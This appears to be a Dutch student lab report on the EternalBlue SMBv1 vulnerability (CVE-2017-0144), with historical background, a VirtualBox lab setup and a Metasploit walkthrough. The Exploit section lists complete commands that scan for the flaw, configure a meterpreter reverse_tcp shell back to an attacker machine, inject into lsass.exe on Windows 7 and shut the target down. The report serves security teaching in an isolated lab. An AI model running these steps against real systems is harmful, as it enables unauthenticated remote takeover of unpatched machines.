Tom Coenen  
Robin Verplancke  
TIAO

Cybersecurity & virtualisation

Docent: Pieter-Jan Maenhaut

## Introductie

Voor de NPE opdracht van Cybersecurity & Virtualisation werd gekozen voor vulnerability [CVE 2017-0144](https://www.cvedetails.com/cve/CVE-2017-0144/).

CVE-2017-0144, ook wel gekend onder de naam Microsoft SMBv1 Remote Code Execution Vulnerability, is een beveiligings kwetsbaarheid in het besturingssysteem van Microsoft Windows. De kwetsbaarheid bevindt zich in het Server Message Block (SMB) protocol, dat wordt gebruikt voor het delen van bestanden en printers op een netwerk. Deze exploit stelt kwaadaardige gebruikers in staat om van op afstand code uit te voeren op kwetsbare systemen zonder dat daarvoor enige vorm van authenticatie voor nodig is.

De NSA was al jaren op zoek naar potentiële kwetsbaarheden binnen Microsoft. Toen ze het SMBv1 protocol probleem ontdekten, ontwikkelde de NSA een exploit, genaamd EternalBlue, om gebruik te maken van deze kwetsbaarheid. In plaats van Microsoft in te lichten over de risico’s die hun gebruikers liepen, gebruikte de NSA EternalBlue een half decennium lang om te helpen bij antiterrorisme- en contraspionage-operaties. EternalBlue is slechts één voorbeeld van het gebruik van exploits en achterdeurtjes in software door de NSA. Toen de NSA Microsoft eindelijk op de hoogte bracht van het bestaan ervan, was het echter al uitgelekt door een berucht hackerscollectief dat bekend staat als Shadow Brokers.

EternBlue kwam aan het licht vanwege zijn rol in de verspreiding van de WannaCry ransomeware-aanval in 2017, die wereldwijd systemen trof en grote schade veroorzaakte ([meer info](https://www.cloudflare.com/learning/security/ransomware/wannacry-ransomware/#:~:text=The%20WannaCry%20ransomware%20attack%20occurred,networks%20all%20over%20the%20world)). Datzelfde jaar volgende ook de NotPetya aanval, gebruik makend van EternalBlue ([meer info](https://www.wired.com/story/notpetya-cyberattack-ukraine-russia-code-crashed-the-world/)).

## Deployment

1. Installeer Virtualbox
2. Download VDI’s voor
   1. Kali: <https://1drv.ms/u/s!AogJDZBrZX0_zJAM40pQ9drba2UTnw?e=u8rEB6>
   2. Windows: <https://1drv.ms/u/s!AogJDZBrZX0_zJALmPLn_sumFXD4ew?e=tDblwD>
3. Plaats beide VDI’s in de folder VDI.
4. Run het Setup.ps1 script.

## Exploit

1. Start metasploit
   * *msfconsole*
2. Scan for vulnerability
   * *use auxiliary/scanner/smb/smb\_ms17\_010*
   * *set RHOSTS <Windows IP>*
   * *run*
3. Exploit
   1. Configure payload
      1. *use payload/windows/x64/meterpreter/reverse\_tcp*
      2. *info*
      3. *set LHOST <Kali IP>*
   2. Configure Exploit
      1. *use exploit/windows/smb/eternalblue\_doublepulsar*
      2. *set payload payload/windows/x64/meterpreter/reverse\_tcp*
      3. *info*
      4. *set TARGET 8 (Windows 7)*
      5. *set RHOSTS <windows ip>*
      6. *set LHOST <kali ip>*
      7. *set TARGETARCHITECTURE x64*
      8. *set PROCESSINJECT lsass.exe*
      9. *set DOUBLEPULSARPATH /home/osboxes/EternalBlue/Eternalblue-Doublepulsar-Metasploit/deps/*
      10. *set ETERNALBLUEPATH /home/osboxes/EternalBlue/Eternalblue-Doublepulsar-Metasploit/deps/*
      11. *set WINEPATH /home/osboxes/.wine/drive\_c/*
   3. Run exploit
      1. *run*
   4. Shutdown Windows
      1. *shutdown /s*

## Bijlagen